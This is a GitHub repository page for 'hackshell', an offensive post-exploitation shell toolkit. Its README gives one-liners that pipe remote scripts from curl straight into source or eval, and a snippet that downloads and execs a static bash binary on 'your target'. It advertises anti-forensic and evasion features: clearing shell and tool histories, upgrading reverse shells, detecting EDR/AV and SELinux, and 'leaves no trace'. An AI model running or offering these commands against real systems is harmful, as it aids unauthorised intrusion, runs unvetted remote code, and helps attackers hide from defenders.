Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

hackerschoice/hackshell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

188 Commits

Repository files navigation

hackshell

Make BASH stealthy and hacker friendly with lots of bash functions

Usage:

 source <(curl -SsfL https://thc.org/hs)
 eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

Some features:

  • unsets HISTFILE, SSH_CONNECT, wget/redis/mysql/less-HISTORY, ...
  • Auto-Upgrates to PTY shell (if reverse shell)
  • Creates hacker-friendly shortcuts, bash-functions and aliases
  • Detects EDR/AV/SELinux/AppArmor/LKMs/...
  • Static binary download by simple bin <command> (e.g. bin nmap)
  • Does not write ANY data to the harddrive
  • Leaves no trace

hackshell

It works best with bash. Download BASH if there is no bash on your target:

URL="https://bin.pkgforge.dev/$(uname -m)/bash"
[ "$(uname -m)" == i686 ] && URL='https://github.com/polaco1782/linux-static-binaries/raw/refs/heads/master/x86-i686/bash'
curl -obash -SsfL "${URL}" && chmod 700 bash && ./bash --version && exec ./bash -il

About

Make BASH stealthy and hacker friendly with lots of bash functions

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

Contributors

Languages

AltStyle によって変換されたページ (->オリジナル) /